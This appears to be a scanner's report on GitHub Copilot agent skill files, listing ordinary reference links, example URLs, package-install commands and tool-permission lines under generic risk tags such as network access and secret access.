## References - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/) - [Spring Boot Native Image Guide](https://docs.spring.io/spring-boot/docs/current/reference/html/native-image.html) - Network accessline 452
- [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/) - Network accessline 453
- [Spring Boot Native Image Guide](https://docs.spring.io/spring-boot/docs/current/reference/html/native-image.html) - Network accessline 454
- [Quarkus Building Native Images](https://quarkus.io/guides/building-native-image) - Network accessline 455
- [Micronaut GraalVM Support](https://docs.micronaut.io/latest/guide/index.html#graal) - Network accessline 456
- [GraalVM Reachability Metadata](https://github.com/oracle/graalvm-reachability-metadata) - Network accessline 457
- [Native Build Tools](https://graalvm.github.io/native-build-tools/latest/index.html)
harness/github-copilot/skills/java-mcp-server-generator/SKILL.md
- Network accessline 58
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/" - Network accessline 59
<project xmlns="http://maven.apache.org/" - Network accessline 60
"POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 - Network accessline 61
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 62
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 - Network accessline 63
https://maven.apache.org/xsd/maven-4.0.0.xsd">
harness/github-copilot/skills/javax-to-jakarta-migration/SKILL.md
- Network accessline 70
| `pom.xml` | `javax.validation:validation-api` | `jakarta.validation:jakarta.validation-api:3.0.2` | | `pom.xml` | `javax.annotation:javax.annotation-api` | `jakarta.annotation:jakarta.annotation-api:2.1.1` | | `web.xml` | `http://xmlns.jc - Network accessline 72
| `web.xml` | `http://xmlns.jcp.org/xml/ns/javaee` with `version="4.0"` on the `web-app` descriptor | `https://jakarta.ee/xml/ns/jakartaee` with `version="6.0"` on the `web-app` descriptor | - Network accessline 116
- [ ] Every migrated package appears in the migration map and no keep-list package was changed. - [ ] Maven or Gradle dependencies match the Jakarta APIs used by source code. - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `v - Network accessline 117
- [ ] Maven or Gradle dependencies match the Jakarta APIs used by source code. - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `version="6.0"` when present and required. - [ ] `mvn clean compile`, `./gradlew build`, or the re - Network accessline 118
- [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `version="6.0"` when present and required. - Network accessline 124
- [Legacy Java EE web.xml namespace](http://xmlns.jcp.org/xml/ns/javaee) - Network accessline 125
- [Jakarta EE XML namespace](https://jakarta.ee/xml/ns/jakartaee)
harness/github-copilot/skills/landing-page-conversion-audit/SKILL.md
- Network accessline 94
If the user wants those built rather than diagnosed, Autonnel is an Apache-2.0 self-hosted funnel builder that supports landing → checkout → one-click upsell → thank-you, click IDs, and server-side postbacks to Facebook, TikTok, Google, and - Network accessline 99
docker compose up # open http://localhost:4321 and complete /setup - Network accessline 100
# open http://localhost:4321 and complete /setup - Network accessline 138
- [Autonnel](https://github.com/autonnel/autonnel) - Network accessline 139
- [Local Autonnel setup endpoint](http://localhost:4321)
harness/github-copilot/skills/latchshot-page-capture/SKILL.md
- Access to secretsline 9
[Credential-related source omitted] - Network accessline 21
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Network accessline 27
| Request | Handle with Latchshot? | Rule | | --- | --- | --- | | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. | - Network accessline 28
| --- | --- | --- | | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. | | PNG, JPEG, or PDF output | Yes | Infer from `.png`, `.jpg`, `.jpeg`, or `.pdf`, or pass `--format`. | - Network accessline 29
| Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. | - Access to secretsline 41
[Credential-related source omitted] - Network accessline 44
node scripts/latchshot.mjs demo \ --url 'https://example.com' \ - Network accessline 45
--url 'https://example.com' \ - Network accessline 49
The demo is JPEG-only, does not use an account or render quota, allows three attempts per IP address per hour, and accepts only width, height, query confirmation, and explicit overwrite options. The public URL is still sent to Latchshot wit - Network accessline 62
node scripts/latchshot.mjs capture \ --url 'https://example.com' \ - Network accessline 63
--url 'https://example.com' \ - Network accessline 70
node scripts/latchshot.mjs capture \ --url 'https://example.com' \ - Network accessline 71
--url 'https://example.com' \ - Network accessline 80
node scripts/latchshot.mjs capture \ --url 'https://example.com' \ - Network accessline 81
--url 'https://example.com' \ - Access to secretsline 137
[Credential-related source omitted] - Network accessline 145
- [Latchshot service origin](https://latchshot.fly.dev) - Network accessline 146
- [Agent Skills setup documentation](https://latchshot.fly.dev/integrations.md#agent-skills)
harness/github-copilot/skills/latchshot-page-capture/scripts/latchshot.mjs
- Executable scriptline 1
#!/usr/bin/env node - Network accessline 9
const ORIGIN = 'https://latchshot.fly.dev'; - Access to secretsline 75
[Credential-related source omitted] - Network accessline 106
Examples: node scripts/latchshot.mjs demo --url https://example.com --output demo.jpg - Network accessline 107
node scripts/latchshot.mjs demo --url https://example.com --output demo.jpg - Network accessline 108
node scripts/latchshot.mjs capture --url https://example.com --output page.png - Network accessline 109
node scripts/latchshot.mjs capture --url https://example.com --output page.pdf --paper A4 - Access to secretsline 192
[Credential-related source omitted] - Access to secretsline 194
[Credential-related source omitted]
harness/github-copilot/skills/legacy-circuit-mockups/references/28256-eeprom.md
- Network accessline 185
* <https://www.utmel.com/components/at28bv256-eeproms-pinout-equivalent-and-datasheet?id=1019> - Network accessline 186
* <https://www.futurlec.com/Memory/28C256.shtml> - Network accessline 187
* <https://ww1.microchip.com/downloads/en/DeviceDoc/doc0006.pdf> - Network accessline 188
* <https://bread80.com/2020/08/10/the-ben-eater-eeprom-programmer-28c256-and-software-data-protection/>
harness/github-copilot/skills/legacy-circuit-mockups/references/555.md
- Network accessline 3
[www.fairchildsemi.com](https://www.fairchildsemi.com)
harness/github-copilot/skills/legacy-circuit-mockups/references/6502.md
- Network accessline 210
* <https://syncopate.us/books/Synertek6502ProgrammingManual.html> - Network accessline 211
* <https://en.wikipedia.org/wiki/MOS_Technology_6502> - Network accessline 212
* <https://web.archive.org/web/20061114024257/http://www.westerndesigncenter.com/wdc/documentation/Programmanual.pdf> - Network accessline 213
* Tutorial excerpts from <https://wilsonminesco.com/6502primer/> - Network accessline 214
* <https://wilsonminesco.com/6502primer/LogicFamilies.html> - Network accessline 215
* <https://wilsonminesco.com/6502primer/ClkGen.html> - Network accessline 216
* <https://wilsonminesco.com/6502primer/RSTreqs.html> - Network accessline 217
* <https://wilsonminesco.com/6502primer/displays.html> - Network accessline 218
* <https://wilsonminesco.com/6502primer/debug.html> - Network accessline 219
* <https://wilsonminesco.com/6502primer/potpourri.html>
harness/github-copilot/skills/legacy-circuit-mockups/references/6522.md
harness/github-copilot/skills/legacy-circuit-mockups/references/6C62256.md
harness/github-copilot/skills/legacy-circuit-mockups/references/7400-series.md
harness/github-copilot/skills/legacy-circuit-mockups/references/assembly-compiler.md
- Network accessline 248
* [MOS 6502 Programming Manual](http://archive.6502.org/datasheets/synertek_programming_manual.pdf) - Network accessline 249
* [MOS 6522 VIA Datasheet](http://archive.6502.org/datasheets/mos_6522_preliminary_nov_1977.pdf) - Network accessline 250
* [AT28C256 Datasheet](https://ww1.microchip.com/downloads/aemDocuments/documents/MPD/ProductDocuments/DataSheets/AT28C256-Industrial-Grade-256-Kbit-Paged-Parallel-EEPROM-Data-Sheet-DS20006386.pdf) - Network accessline 251
* [HD44780 LCD Datasheet](https://www.futurlec.com/LED/LCD16X2BLa.shtml) - Network accessline 252
* [cc65 Toolchain Docs](https://cc65.github.io/doc/cc65.html)
harness/github-copilot/skills/legacy-circuit-mockups/references/assembly-language.md
- Network accessline 217
* [https://www.masswerk.at/6502/6502_instruction_set.html](https://www.masswerk.at/6502/6502_instruction_set.html) - Network accessline 218
* [https://www.nesdev.org/wiki/6502](https://www.nesdev.org/wiki/6502) - Network accessline 219
* [https://www.westerndesigncenter.com/wdc/documentation](https://www.westerndesigncenter.com/wdc/documentation) - Network accessline 220
* [https://en.wikipedia.org/wiki/MOS_Technology_6502](https://en.wikipedia.org/wiki/MOS_Technology_6502)
harness/github-copilot/skills/legacy-circuit-mockups/references/breadboard.md
- Network accessline 206
* [https://en.wikipedia.org/wiki/Breadboard](https://en.wikipedia.org/wiki/Breadboard) - Network accessline 207
* [https://learn.sparkfun.com/tutorials/how-to-use-a-breadboard](https://learn.sparkfun.com/tutorials/how-to-use-a-breadboard) - Network accessline 208
* [https://learn.adafruit.com/breadboards-for-beginners](https://learn.adafruit.com/breadboards-for-beginners)
harness/github-copilot/skills/legacy-circuit-mockups/references/common-breadboard-components.md
- Network accessline 50
* [https://en.wikipedia.org/wiki/Resistor](https://en.wikipedia.org/wiki/Resistor) - Network accessline 88
* [https://en.wikipedia.org/wiki/Capacitor](https://en.wikipedia.org/wiki/Capacitor) - Network accessline 112
* [https://en.wikipedia.org/wiki/Inductor](https://en.wikipedia.org/wiki/Inductor) - Network accessline 140
* [https://en.wikipedia.org/wiki/Diode](https://en.wikipedia.org/wiki/Diode) - Network accessline 164
* [https://en.wikipedia.org/wiki/Light-emitting_diode](https://en.wikipedia.org/wiki/Light-emitting_diode) - Network accessline 190
* [https://en.wikipedia.org/wiki/Transistor](https://en.wikipedia.org/wiki/Transistor) - Network accessline 209
* [https://en.wikipedia.org/wiki/Integrated_circuit](https://en.wikipedia.org/wiki/Integrated_circuit) - Network accessline 244
* [https://en.wikipedia.org/wiki/Breadboard](https://en.wikipedia.org/wiki/Breadboard) - Network accessline 273
* [https://learn.sparkfun.com](https://learn.sparkfun.com) - Network accessline 274
* [https://www.allaboutcircuits.com](https://www.allaboutcircuits.com) - Network accessline 275
* [https://www.electronics-tutorials.ws](https://www.electronics-tutorials.ws) - Network accessline 276
* [https://en.wikipedia.org/wiki/Electronics](https://en.wikipedia.org/wiki/Electronics)
harness/github-copilot/skills/legacy-circuit-mockups/references/emulator-28256-eeprom.md
- Network accessline 231
* [AT28C256 Datasheet (Microchip)](https://ww1.microchip.com/downloads/aemDocuments/documents/MPD/ProductDocuments/DataSheets/AT28C256-Industrial-Grade-256-Kbit-Paged-Parallel-EEPROM-Data-Sheet-DS20006386.pdf) - Network accessline 232
* [Ben Eater 6502 Computer Series](https://eater.net/6502) - Network accessline 233
* <https://www.youtube.com/watch?v=oO8_2JJV0B4> - Network accessline 234
* [6502.org Memory Mapping Notes](https://6502.co.uk/lesson/memory-map)
harness/github-copilot/skills/legacy-circuit-mockups/references/emulator-6502.md
- Network accessline 242
* [https://www.masswerk.at/6502/6502_instruction_set.html](https://www.masswerk.at/6502/6502_instruction_set.html) - Network accessline 243
* [https://www.nesdev.org/wiki/6502](https://www.nesdev.org/wiki/6502) - Network accessline 244
* [https://github.com/Klaus2m5/6502_65C02_functional_tests](https://github.com/Klaus2m5/6502_65C02_functional_tests) - Network accessline 245
* [https://en.wikipedia.org/wiki/MOS_Technology_6502](https://en.wikipedia.org/wiki/MOS_Technology_6502)
harness/github-copilot/skills/legacy-circuit-mockups/references/emulator-6522.md
- Network accessline 280
* [https://www.westerndesigncenter.com/wdc/documentation](https://www.westerndesigncenter.com/wdc/documentation) - Network accessline 281
* [https://www.princeton.edu/~mae412/HANDOUTS/Datasheets/6522.pdf](https://www.princeton.edu/~mae412/HANDOUTS/Datasheets/6522.pdf) - Network accessline 282
* [https://www.nesdev.org/wiki/6522](https://www.nesdev.org/wiki/6522)
harness/github-copilot/skills/legacy-circuit-mockups/references/emulator-6C62256.md
harness/github-copilot/skills/legacy-circuit-mockups/references/emulator-lcd.md
- Network accessline 252
* [HD44780U Datasheet (Hitachi)](https://academy.cba.mit.edu/classes/output_devices/44780.pdf) - Network accessline 253
* [Ben Eater LCD Interface Notes](https://hackaday.io/project/174128-db6502/log/181838-adventures-with-hd44780-lcd-controller) - Network accessline 254
* [Ben Eater's 6502 Computer](https://github.com/tedkotz/be6502) - Network accessline 255
* [Build a 6502 Computer](https://eater.net/6502)
harness/github-copilot/skills/legacy-circuit-mockups/references/lcd.md
- Network accessline 204
* <https://static6.arrow.com/aropdfconversion/1f68489996f057bb6611f71d5fdb5f60f44faa72/pgurl_58439499065092.pdf> - Network accessline 205
* <https://cdn.sparkfun.com/assets/9/5/f/7/b/HD44780.pdf> - Network accessline 206
* <https://predictabledesigns.com/introduction-embedded-electronic-displays/>
harness/github-copilot/skills/legacy-circuit-mockups/references/minipro.md
- Dangerous shell operationline 47
sudo apt install minipro - Network accessline 53
git clone https://github.com/vdudouyt/minipro.git - Dangerous shell operationline 55
sudo make install - Network accessline 205
* <https://gitlab.com/DavidGriffith/minipro> - Network accessline 206
* <https://www.hadex.cz/spec/m545b.pdf> - Network accessline 207
* <https://github.com/mikeroyal/Firmware-Guide> - Network accessline 208
* <https://mike42.me/blog/2021-08-a-first-look-at-programmable-logic> - Network accessline 209
* <https://retrocomputingforum.com/>
harness/github-copilot/skills/legacy-circuit-mockups/references/t48eeprom-programmer.md
harness/github-copilot/skills/load-performance-testing/SKILL.md
- Network accessline 134
- [k6 documentation](https://grafana.com/docs/k6/latest/) - Network accessline 135
- [Apache JMeter user manual](https://jmeter.apache.org/usermanual/index.html) - Network accessline 136
- [Locust documentation](https://docs.locust.io/en/stable/) - Network accessline 137
- [Gatling documentation](https://docs.gatling.io/)
harness/github-copilot/skills/lsp-setup/SKILL.md
- Network accessline 133
- [VS Code known language identifiers](https://code.visualstudio.com/docs/languages/identifiers#_known-language-identifiers)
harness/github-copilot/skills/lsp-setup/references/lsp-servers.md
- Network accessline 11
**Server**: [typescript-language-server](https://github.com/typescript-language-server/typescript-language-server) - Network accessline 40
**Server**: [Eclipse JDT Language Server (jdtls)](https://github.com/eclipse-jdtls/eclipse.jdt.ls) - Network accessline 47
|---------|-----------------------------------| | macOS | `brew install jdtls` | | Linux | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ | - Network accessline 48
| macOS | `brew install jdtls` | | Linux | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ | | Windows | Download from https://download.eclipse. - Network accessline 49
| Linux | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ | - Network accessline 50
| Windows | Download from https://download.eclipse.org/jdtls/milestones/ and add `bin/` to `PATH` | - Network accessline 68
> **Note**: The `jdtls` wrapper script handles `--stdio` mode internally. If using a manual install, you may need to invoke the launcher jar directly — see the [jdtls README](https://github.com/eclipse-jdtls/eclipse.jdt.ls#running-from-comm - Network accessline 74
**Server**: [pyright](https://github.com/microsoft/pyright) - Network accessline 101
**Server**: [gopls](https://github.com/golang/tools/tree/master/gopls) - Network accessline 128
**Server**: [rust-analyzer](https://github.com/rust-lang/rust-analyzer) - Network accessline 157
**Server**: [clangd](https://clangd.llvm.org/) - Network accessline 163
| macOS | `brew install llvm` (clangd included) or Xcode command line tools | | Linux | `apt install clangd` / `dnf install clang-tools-extra` | | Windows | Download LLVM from https://releases.llvm.org/ | - Network accessline 165
| Windows | Download LLVM from https://releases.llvm.org/ | - Network accessline 191
**Server**: [Roslyn Language Server](https://github.com/dotnet/roslyn) (via `dotnet dnx`) - Network accessline 195
| OS | Command | |---------|----------------------------------------------------------------| | Any | Requires the [.NET SDK](https://dot.net/download) installed | - Network accessline 197
| Any | Requires the [.NET SDK](https://dot.net/download) installed | - Network accessline 217
**Server**: [solargraph](https://github.com/castwide/solargraph) - Network accessline 245
**Server**: [intelephense](https://github.com/bmewburn/vscode-intelephense) - Network accessline 271
**Server**: [kotlin-language-server](https://github.com/fwcd/kotlin-language-server) - Network accessline 299
**Server**: [sourcekit-lsp](https://github.com/swiftlang/sourcekit-lsp) (bundled with Swift toolchain) - Network accessline 304
|---------|----------------------------------------------------------------| | macOS | Included with Xcode; binary at `xcrun sourcekit-lsp` | | Linux | Included with Swift toolchain; install from https://swift.org | - Network accessline 305
| macOS | Included with Xcode; binary at `xcrun sourcekit-lsp` | | Linux | Included with Swift toolchain; install from https://swift.org | | Windows | Included with Swift toolchain; install from https://swift.org | - Network accessline 306
| Linux | Included with Swift toolchain; install from https://swift.org | - Network accessline 307
| Windows | Included with Swift toolchain; install from https://swift.org | - Network accessline 329
**Server**: [lua-language-server](https://github.com/LuaLS/lua-language-server) - Network accessline 357
**Server**: [yaml-language-server](https://github.com/redhat-developer/yaml-language-server) - Network accessline 384
**Server**: [bash-language-server](https://github.com/bash-lsp/bash-language-server)
harness/github-copilot/skills/make-repo-contribution/SKILL.md
- Broad permissionsline 1
Read Edit Bash(git:*) Bash(gh issue:*) Bash(gh pr:*)
harness/github-copilot/skills/markdown-to-html/SKILL.md
- Network accessline 15
Expert skill for converting Markdown documents to HTML using the marked.js library, or writing data conversion scripts; in this case scripts similar to [markedJS/marked](https://github.com/markedjs/marked) repository. For custom scripts kno - Network accessline 40
One sentence with a [link](https://example.com), and a HTML snippet like `<p>paragraph tag</p>`. - Network accessline 67
<p>One sentence with a <a href="https://example.com">link</a>, and a HTML snippet like <code><p>paragraph tag</p></code>.</p>
harness/github-copilot/skills/markdown-to-html/references/basic-markdown-to-html.md
harness/github-copilot/skills/markdown-to-html/references/basic-markdown.md
- Network accessline 15
 - Network accessline 19
 - Network accessline 48
 - Network accessline 50
> \[!NOTE] > When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing <kbd>R</kbd>. You can quote an entire comment by clicking <svg version="1.1" width="16" height="16" viewBox="0 0 1 - Network accessline 51
> When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing <kbd>R</kbd>. You can quote an entire comment by clicking <svg version="1.1" width="16" height="16" viewBox="0 0 16 16" class - Network accessline 61
 - Network accessline 74
 - Network accessline 76
For more information, see [Creating and highlighting code blocks](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks). - Network accessline 78
If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/en/get-star - Network accessline 88
 - Network accessline 92
| Color | Syntax | Example | Output - Network accessline 93
| ----- | --------------------------- | ----------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ - Network accessline 94
| HEX | <code>\`#RRGGBB\`</code> | <code>\`#0969DA\`</code> | \`</code> | <code>\`rgb(9, 105, 218)\`</code> | \`</code> | <code>\`hsl(212, 92%, 45%)\`</code> | .` - Network accessline 111
 - Network accessline 113
> \[!NOTE] > GitHub automatically creates links when valid URLs are written in a comment. For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/a - Network accessline 114
> GitHub automatically creates links when valid URLs are written in a comment. For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/autolinked-r - Network accessline 120
 - Network accessline 130
For more detailed information on the requirements of URI fragments, see [RFC 3986: Uniform Resource Identifier (URI): Generic Syntax, Section 3.5](https://www.rfc-editor.org/rfc/rfc3986#section-3.5). - Network accessline 255
`` - Network accessline 257
 - Network accessline 293
 - Network accessline 303
 - Network accessline 309
To create a nested list using the web editor on GitHub or a text editor that uses a monospaced font, like [Visual Studio Code](https://code.visualstudio.com/), you can align your list visually. Type space characters in front of your nested - Network accessline 320
 - Network accessline 322
 - Network accessline 333
 - Network accessline 343
 - Network accessline 345
For more examples, see the [GitHub Flavored Markdown Spec](https://github.github.com/gfm/#example-265). - Network accessline 352
- [x] #739 - [ ] https://github.com/{owner}/{repo}/issues/{issue-number} - Network accessline 353
- [ ] https://github.com/{owner}/{repo}/issues/{issue-number} - Network accessline 357
 - Network accessline 363
For more information, see [About tasklists](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists). - Network accessline 367
You can mention a person or [team](https://docs.github.com/en/organizations/organizing-members-into-teams) on GitHub by typing <kbd>@</kbd> plus their username or team name. This will trigger a notification and bring their attention to the - Network accessline 374
 - Network accessline 376
When you mention a parent team, members of its child teams also receive notifications, simplifying communication with multiple groups of people. For more information, see [About organization teams](https://docs.github.com/en/organizations/o - Network accessline 386
For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls). - Network accessline 390
If custom autolink references are configured for a repository, then references to external resources, like a JIRA issue or Zendesk ticket, convert into shortened links. To know which autolinks are available in your repository, contact someo - Network accessline 402
 - Network accessline 406
For a full list of available emoji and codes, see [the Emoji-Cheat-Sheet](https://github.com/ikatyang/emoji-cheat-sheet/blob/github-actions-auto-update/README.md). - Network accessline 428
 - Network accessline 460
 - Network accessline 476
 - Network accessline 478
For more information on backslashes, see Daring Fireball's [Markdown Syntax](https://daringfireball.net/projects/markdown/syntax#backslash). - Network accessline 487
 - Network accessline 494
*[About writing and formatting on GitHub](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github) - Network accessline 495
*[Working with advanced formatting](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting) - Network accessline 496
*[Quickstart for writing on GitHub](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github)
harness/github-copilot/skills/markdown-to-html/references/code-blocks-to-html.md
- Network accessline 117
[About writing and formatting on GitHub](https://docs.github.com/...) - Network accessline 121
<a href="https://docs.github.com/...">About writing and formatting on GitHub</a> - Network accessline 129
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) - Network accessline 133
<ul> <li> <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a> - Network accessline 134
<li> <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a> </li> - Network accessline 135
<a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a>
harness/github-copilot/skills/markdown-to-html/references/code-blocks.md
- Network accessline 17
 - Network accessline 32
 - Network accessline 58
> \[!TIP] > When you create a fenced code block that you also want to have syntax highlighting on a GitHub Pages site, use lower-case language identifiers. For more information, see [About GitHub Pages and Jekyll](https://docs.github.com/pa - Network accessline 59
> When you create a fenced code block that you also want to have syntax highlighting on a GitHub Pages site, use lower-case language identifiers. For more information, see [About GitHub Pages and Jekyll](https://docs.github.com/pages/settin - Network accessline 61
We use [Linguist](https://github.com/github-linguist/linguist) to perform language detection and to select [third-party grammars](https://github.com/github-linguist/linguist/blob/main/vendor/README.md) for syntax highlighting. You can find - Network accessline 65
You can also use code blocks to create diagrams in Markdown. GitHub supports Mermaid, GeoJSON, TopoJSON, and ASCII STL syntax. For more information, see [Creating diagrams](https://docs.github.com/get-started/writing-on-github/working-with- - Network accessline 69
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) - Network accessline 70
* [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)
harness/github-copilot/skills/markdown-to-html/references/collapsed-sections.md
- Network accessline 33
 - Network accessline 37
 - Network accessline 47
* [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) - Network accessline 48
* [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)
harness/github-copilot/skills/markdown-to-html/references/extended-guide.md
- Network accessline 12
```html <p>This sentence uses <code>$</code> delimiters to show math inline: <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 13
<p>This sentence uses <code>$</code> delimiters to show math inline: <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> <msqrt><mn>3</mn><mi>x</mi><mo>−</mo><mn>1</mn></msqrt> - Network accessline 14
<math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 29
<p><strong>The Cauchy-Schwarz Inequality</strong><br> <math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 30
<math-renderer> <math xmlns="http://www.w3.org/1998/Math/MathML"> <msup> - Network accessline 31
<math xmlns="http://www.w3.org/1998/Math/MathML"> - Network accessline 180
- [DOMPurify](https://github.com/cure53/DOMPurify) (recommended) - Network accessline 181
- [sanitize-html](https://github.com/apostrophecms/sanitize-html) - Network accessline 182
- [js-xss](https://github.com/leizongmin/js-xss) - Network accessline 206
- Pandoc installed (download from <https://pandoc.org/installing.html>) - Network accessline 402
Recommended sanitizer: [Bluemonday](https://github.com/microcosm-cc/bluemonday) - Network accessline 447
# Access at http://localhost:4000 - Network accessline 538
- Hugo installed (download from <https://gohugo.io/installation/>) - Network accessline 553
# Add a theme git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke - Network accessline 554
git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke echo "theme = 'ananke'" >> hugo.toml - Network accessline 555
git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke - Network accessline 584
# Start with live reload and bind to all interfaces hugo server --bind 0.0.0.0 --baseURL http://localhost:1313/ - Network accessline 585
hugo server --bind 0.0.0.0 --baseURL http://localhost:1313/ - Network accessline 682
- [tables.md](../references/tables.md) - [writing-mathematical-expressions.md](../references/writing-mathematical-expressions.md) - Markdown Guide: <https://www.markdownguide.org/basic-syntax/> - Network accessline 683
- [writing-mathematical-expressions.md](../references/writing-mathematical-expressions.md) - Markdown Guide: <https://www.markdownguide.org/basic-syntax/> - Styling Markdown: <https://github.com/sindresorhus/github-markdown-css> - Network accessline 684
- Markdown Guide: <https://www.markdownguide.org/basic-syntax/> - Network accessline 685
- Styling Markdown: <https://github.com/sindresorhus/github-markdown-css> - Network accessline 689
- Official documentation: <https://marked.js.org/> - Network accessline 690
- Advanced options: <https://marked.js.org/using_advanced> - Network accessline 691
- Extensibility: <https://marked.js.org/using_pro> - Network accessline 692
- GitHub repository: <https://github.com/markedjs/marked> - Network accessline 696
- Getting started: <https://pandoc.org/getting-started.html> - Network accessline 697
- Official documentation: <https://pandoc.org/MANUAL.html> - Network accessline 698
- Extensibility: <https://pandoc.org/extras.html> - Network accessline 699
- GitHub repository: <https://github.com/jgm/pandoc> - Network accessline 703
- Official documentation: <https://pkg.go.dev/github.com/gomarkdown/markdown> - Network accessline 704
- Advanced configuration: <https://pkg.go.dev/github.com/gomarkdown/markdown/html> - Network accessline 705
- Markdown processing: <https://blog.kowalczyk.info/article/cxn3/advanced-markdown-processing-in-go.html> - Network accessline 706
- GitHub repository: <https://github.com/gomarkdown/markdown> - Network accessline 710
- Official documentation: <https://jekyllrb.com/docs/> - Network accessline 711
- Configuration options: <https://jekyllrb.com/docs/configuration/options/> - Network accessline 712
- Plugins: <https://jekyllrb.com/docs/plugins/> - Network accessline 713
- [Installation](https://jekyllrb.com/docs/plugins/installation/) - Network accessline 714
- [Generators](https://jekyllrb.com/docs/plugins/generators/) - Network accessline 715
- [Converters](https://jekyllrb.com/docs/plugins/converters/) - Network accessline 716
- [Commands](https://jekyllrb.com/docs/plugins/commands/) - Network accessline 717
- [Tags](https://jekyllrb.com/docs/plugins/tags/) - Network accessline 718
- [Filters](https://jekyllrb.com/docs/plugins/filters/) - Network accessline 719
- [Hooks](https://jekyllrb.com/docs/plugins/hooks/) - Network accessline 720
- GitHub repository: <https://github.com/jekyll/jekyll> - Network accessline 724
- Official documentation: <https://gohugo.io/documentation/> - Network accessline 725
- All Settings: <https://gohugo.io/configuration/all/> - Network accessline 726
- Editor Plugins: <https://gohugo.io/tools/editors/> - Network accessline 727
- GitHub repository: <https://github.com/gohugoio/hugo>
harness/github-copilot/skills/markdown-to-html/references/gomarkdown.md
- Network accessline 249
- [Package Documentation](https://pkg.go.dev/github.com/gomarkdown/markdown) - Network accessline 250
- [Advanced Processing Guide](https://blog.kowalczyk.info/article/cxn3/advanced-markdown-processing-in-go.html) - Network accessline 251
- [GitHub Repository](https://github.com/gomarkdown/markdown) - Network accessline 252
- [CLI Tool](https://github.com/gomarkdown/mdtohtml) - Network accessline 253
- [Bluemonday Sanitizer](https://github.com/microcosm-cc/bluemonday)
harness/github-copilot/skills/markdown-to-html/references/hugo.md
- Dangerous shell operationline 34
sudo apt-get install hugo - Network accessline 36
# Or download from https://gohugo.io/installation/ - Network accessline 48
# Initialize git and add theme git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke - Network accessline 49
git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke echo "theme = 'ananke'" >> hugo.toml - Network accessline 50
git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke - Network accessline 135
# Basic settings baseURL = 'https://example.com/' - Network accessline 136
baseURL = 'https://example.com/' - Network accessline 390
- [Hugo Documentation](https://gohugo.io/documentation/) - Network accessline 391
- [Hugo Themes](https://themes.gohugo.io/) - Network accessline 392
- [Hugo Discourse](https://discourse.gohugo.io/) - Network accessline 393
- [GitHub Repository](https://github.com/gohugoio/hugo) - Network accessline 394
- [Quick Reference](https://gohugo.io/quick-reference/)
harness/github-copilot/skills/markdown-to-html/references/jekyll.md
- Dangerous shell operationline 28
sudo apt-get install ruby-full build-essential zlib1g-dev - Network accessline 31
# Windows (use RubyInstaller) # Download from https://rubyinstaller.org/ - Network accessline 32
# Download from https://rubyinstaller.org/ - Network accessline 50
# Open http://localhost:4000 - Network accessline 116
description: A great blog baseurl: "" url: "https://example.com" - Network accessline 118
url: "https://example.com" - Network accessline 317
- [Jekyll Documentation](https://jekyllrb.com/docs/) - Network accessline 318
- [Liquid Template Language](https://shopify.github.io/liquid/) - Network accessline 319
- [Kramdown Documentation](https://kramdown.gettalong.org/) - Network accessline 320
- [GitHub Repository](https://github.com/jekyll/jekyll) - Network accessline 321
